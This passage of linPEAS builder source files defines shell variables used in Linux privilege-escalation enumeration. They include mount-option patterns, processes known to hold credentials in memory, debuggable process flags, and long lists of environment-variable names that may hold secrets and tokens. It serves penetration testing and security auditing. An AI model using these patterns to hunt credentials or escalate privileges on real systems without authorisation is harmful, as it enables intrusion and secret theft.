    "path": "linPEAS/builder/linpeas_parts/variables/mountG.sh",
    "content": "# Title: Variables - mountG\n# ID: mountG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known mount points\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables: $mountG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmountG=\"swap|/cdrom|/floppy|/dev/shm\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/mounted.sh",
    "content": "# Title: Variables - mounted\n# ID: mounted\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Find mounted folders\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: \n# Initial Functions:\n# Generated Global Variables: $mounted\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d \" \" -f5 | grep \"^/\" | tr '\\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v \"#\" | grep -E '\\W/\\W' | awk '{print $1}')\nif ! [ \"$mounted\" ]; then\n  mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep \"^/\" | cut -d \" \" -f1 | tr '\\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v \"#\" | grep -E '\\W/\\W' | awk '{print $1}')\nfi\nif ! [ \"$mounted\" ]; then mounted=\"ImPoSSssSiBlEee\"; fi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/mountpermsB.sh",
    "content": "# Title: Variables - mountpermsB\n# ID: mountpermsB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous known mount points\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $mountpermsB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmountpermsB=\"\\Wsuid|\\Wuser|\\Wexec\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/mountpermsG.sh",
    "content": "# Title: Variables - mountpermsG\n# ID: mountpermsG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Good known mount points\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $mountpermsG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmountpermsG=\"nosuid|nouser|noexec\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/mygroups.sh",
    "content": "# Title: Variables - mygroups\n# ID: mygroups\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: My groups\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $mygroups\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmygroups=$(groups 2>/dev/null | tr \" \" \"|\")\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/notBackup.sh",
    "content": "# Title: Variables - notBackup\n# ID: notBackup\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Not interesting backup folders\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $notBackup\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nnotBackup=\"/tdbbackup$|/db_hotbackup$\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/notExtensions.sh",
    "content": "# Title: Variables - notExtensions\n# ID: notExtensions\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Not interesting extensions\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $notExtensions\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nnotExtensions=\"\\.tif$|\\.tiff$|\\.gif$|\\.jpeg$|\\.jpg|\\.jif$|\\.jfif$|\\.jp2$|\\.jpx$|\\.j2k$|\\.j2c$|\\.fpx$|\\.pcd$|\\.png$|\\.pdf$|\\.flv$|\\.mp4$|\\.mp3$|\\.gifv$|\\.avi$|\\.mov$|\\.mpeg$|\\.wav$|\\.doc$|\\.docx$|\\.xls$|\\.xlsx$|\\.svg$\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/notmounted.sh",
    "content": "# Title: Variables - notmounted\n# ID: notmounted\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Not mounted folders\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables: $mountG, $mounted\n# Initial Functions:\n# Generated Global Variables: $notmounted\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nnotmounted=$(cat /etc/fstab 2>/dev/null | grep \"^/\" | grep -Ev \"$mountG\" | awk '{print $1}' | grep -Ev \"$mounted\" | tr '\\n' '|')\"ImPoSSssSiBlEee\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/processesB.sh",
    "content": "# Title: Variables - processesB\n# ID: processesB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dangerous known processes\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $processesB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprocessesB=\"amazon-ssm-agent|knockd|splunk\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/processesDump.sh",
    "content": "# Title: Variables - processesDump\n# ID: processesDump\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known processes with creds in mem\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $processesDump\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprocessesDump=\"gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/processesVB.sh",
    "content": "# Title: Variables - processesVB\n# ID: processesVB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very dangerous known processes parameters\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $processesVB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprocessesVB='jdwp|tmux |screen | inspect |--inspect=|--inspect |--inspect$|--inpect-brk|--remote-debugging-port'"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/profiledG.sh",
    "content": "# Title: Variables - profiledG\n# ID: profiledG\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Known profile files\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $profiledG\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprofiledG=\"01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh",
    "content": "# Title: Variables - pwd_in_variables\n# ID: pwd_in_variables\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Variables which could contain passwords\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\npeass{VARIABLES}\npwd_in_variables1=\"Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID\"\npwd_in_variables2=\"AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID\"\npwd_in_variables3=\"CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION\"\npwd_in_variables4=\"CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId\"\npwd_in_variables5=\"eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER\"\npwd_in_variables6=\"GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER\"\npwd_in_variables7=\"MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET\"\npwd_in_variables8=\"OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY\"\npwd_in_variables9=\"S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY\"\npwd_in_variables10=\"SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS\"\npwd_in_variables11=\"VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL